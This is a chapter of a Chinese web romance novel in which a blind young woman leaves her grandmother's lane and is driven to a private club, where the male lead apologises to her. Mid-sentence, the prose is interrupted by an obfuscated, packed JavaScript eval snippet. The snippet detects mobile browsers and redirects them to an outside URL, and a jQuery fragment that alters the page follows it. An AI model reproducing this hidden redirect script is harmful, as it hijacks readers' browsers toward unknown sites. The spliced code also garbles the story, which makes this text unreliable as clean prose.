吃完饭,把何奶奶送回家,黎菀菀又陪着聊了好一会儿。
“菀菀啊,你要好好照顾自己。”
何奶奶拍了拍她的手,语气沉甸甸的,“那些豪门大户,都是**不吐骨头的地方。
要是委屈了,咱就回白果巷,奶奶没什么大本事,但绝不会少你一口饭。”
黎菀菀鼻子一酸,眼眶瞬间就红了。
她往前一扑,脸埋进何奶奶的肩窝里,声音带着鼻音,湿漉漉的。
“奶奶,我知道,我都知道的。”
何奶奶拍着她的后背,像哄小孩,嘴唇哆嗦了几下,却只剩下一声叹息。
何小亮站在旁边,手插在裤兜里,说话很直男,“这么大了还哭,让人看笑话。”
黎菀菀从奶奶肩膀上抬起头,用手背胡乱抹了抹眼睛,“我才没哭。”
她吸了吸鼻子,声音还是哑的。
“奶奶,我走了,您要按时吃药,好好吃饭,别操心我。”
何奶奶点点头,握住她的手。
“去吧,路上小心。”
黎菀菀恋恋不舍的出了门。
没多久,何小亮跟了上来,“我送你。”
两人并肩穿过长长的白果巷,一路无话。
等到了临街,那辆黑色豪车已早早等着了。
老方打开车门,恭恭敬敬等在一旁。
何小亮看了一眼车牌那串显眼的豹子号,轻轻叹了口气。
“有空常回来看看。”
他本来就不善言辞,能说出这样的话,就代表他已经原谅了她。
黎菀菀心里一酸,想哭又生生忍住了。
“谢谢你,小亮哥。”
“行了,走吧。”
黎菀菀咬了咬唇,摸索着上了车,等车门关上,她又手忙脚乱的去按开车窗,对着外面的方向喊了一嗓子。
“小亮哥,照顾好奶奶。”
“知道了。”
车子启动,缓缓往前开。
尾灯闪了两下,很快就看不见了。
何小亮还站在巷口没动,风从巷子里灌出来,吹得他的外套下摆轻轻晃了晃。
黎菀菀趴在窗户边,闻着巷口熟悉的煎饼香味儿,心里一阵柔软。
在白果巷的那段时光,虽然很辛苦,却是她一生中最开心的日子,要是能一睁眼就回到以前该多好啊!
车子开了许久,窗外的车流声越来越多,不像是来时那条路,
半小时后,车子停在一个相对僻静的地方。
黎菀菀敲着盲杖在周围探了探,路面的凹凸感明显不对,“这里不是别墅。”
老方垂着手,语气恭敬。
“四爷让我带您来砚止。”
砚止。
黎菀菀皱起眉,转身就要去拉车门,“我不要来这里,我要回家。”
她刚说完,车子便响起落锁的咔哒声,果然再去扯车门,已经拽不开了。
这时,一阵急促的脚步声从会所里跑出来。
“哎呦,姑奶奶,怎么了这是?”
杨肃气喘吁吁跑到黎菀菀面前,弯着腰,擦了擦额头上的汗。
黎菀菀听出是他,脸色很不高兴。
“蔺叔叔呢,凭什么他让我来,我就要来?”
她还生着气呢,早上好声好气跟他商量,莫名其妙被凶了一顿,她才不信是什么误会呢!
杨肃擦了擦额头的汗,赶紧赔笑脸。
“四爷是关心则乱,黎小姐别生气。”
他往前凑了半步,乐呵呵道,“砚止顶层有个不错的音乐餐厅,四爷今天包场,给您赔不是呢。”
黎菀菀愣了下。
大反派也会道歉?
杨肃多精明的人,见她有所松动,立刻趁热打铁。
“四爷虽然嘴上没说,但他哪舍得您受委屈,快跟我来吧,外面风大。”
黎菀菀咬着嘴唇,站了两秒,很没骨气的妥协了。
人在屋檐下,不得不低头。
“来,当心脚下。”
杨肃赶紧在前面带路,每到台阶都会适当提醒,办事十分周到。
砚止有贵宾的专属电梯,杨肃拿着卡,带着黎菀菀直奔顶楼。
刚出电梯口,一阵舒缓的音乐流了出来。
大提琴的声音,悠扬悦耳,像是有人贴着你耳朵说话,温柔又惬意。
空气里有淡淡的玫瑰香气,若有若无地飘着,闻起来心旷神怡。
黎菀菀脚下踩的是柔软的地毯,厚实得几乎没有声音。
落
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497449|202566||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地窗从地面一直通到天花板,城市的灯光在窗外铺开,简直是美轮美奂。
从这里看出去,京市最繁华的地段尽收眼底。
远处的写字楼亮着格子一样的灯,车流拉成一条条光带,红的白的,交缠在一起。
杨肃把黎菀菀带到靠窗的位置,拉开椅子,示意她坐下。
“黎小姐,您先坐会儿,四爷马上就到。”
杨肃说完,又向餐厅里的酒保交代了几句话,这才匆匆离开。
只留下黎菀菀坐在那里,一时竟不知如何是好。
音乐还在继续,大提琴切换成优雅的钢琴曲,不得不说,的确是一个约会的好地方。
等等,约会?
黎菀菀揉了揉脸,被自己的想法吓了一跳,她怎么会有这种错觉,真是太吓人了!
她直板板的坐着,约摸等了十几分钟,差点快沉不住气时,电梯口终于传来叮的一声。
几个侍者迎上去,齐刷刷喊了声。
“四爷。”
黎菀菀竖着耳朵听,又害怕被发现,掩耳盗铃般捧着面前的水杯,咕咚咕咚喝了好大一口。
蔺昀鹤朝着她的方向看了眼,目光含笑。
他今天穿着一件深色衬衫,袖口挽到小臂,腕骨和冷色表盘露在外面。
领口微敞,没系领带,松弛中带着点危险。
黎菀菀坐在那里,手搭在桌沿上,小脸故意朝着落地窗的方向,嘴巴撇着,明显在生闷气。
蔺昀鹤在对面坐下。
一股熟悉的冷冽松木香,瞬间袭入鼻翼。
真讨厌!
黎菀菀嘴巴噘的更高了。
蔺昀鹤看了她两秒,低低笑了两声。
“年龄不大,气性倒是大得很。”
黎菀菀哼了一声,恼怒道,“谁让你总是这样不讲道理。”
蔺昀鹤沉眸,略作思考,突然道,“早上的事是我不对。”
“……”
咦?
黎菀菀愣了一瞬,还以为自己听错了。
“你居然会道歉?”
蔺昀鹤挑眉,“你到底对我有什么误解?”
他又不是什么刚愎自用的人,当然也会道歉,也会哄人,也会因为看她委屈而心疼。